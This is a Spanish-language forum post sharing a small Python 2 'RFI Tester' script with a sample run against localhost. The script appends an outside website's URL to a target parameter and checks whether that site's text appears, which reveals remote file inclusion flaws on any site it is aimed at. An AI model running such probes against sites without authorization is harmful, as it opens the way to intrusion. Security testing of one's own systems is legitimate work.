Acabo de hacer un simple verificador de vulnerabilidad RFI
Código
#!usr/bin/python #RFI Tester (C) Doddy Hackman import os,sys,urllib2,re def header() : print "\n--== RFI Tester ==--\n" def copyright() : print "\n\n(C) Doddy Hackman 2010\n" exit(1) def show() : print "\n[*] Sintax : ",sys.argv[0]," <web>\n" def toma(web) : return urllib2.urlopen(web).read() def test(web): try: print "\n[+] Testing vulnerability RFI in",web code = toma(web+"http://www.supertangas.com") if(re.findall("Los mejores TANGAS de la red",code,re.I)): print "[+] RFI Detected" else: print "[-] RFI Not Found" except: pass header() if len(sys.argv) != 2 : show() else : test(sys.argv[1]) copyright() #The End
Ejemplo de uso
Código:
python rfi.py http://127.0.0.1/rfi.php?index=
Código:
C:\Users\DoddyH\Desktop\Arsenal X parte 2>rfi.py http://127.0.0.1/rfi.php?index=
--== RFI Tester ==--
[+] Testing vulnerability RFI in http://127.0.0.1/rfi.php?index=
[+] RFI Detected
(C) Doddy Hackman 2010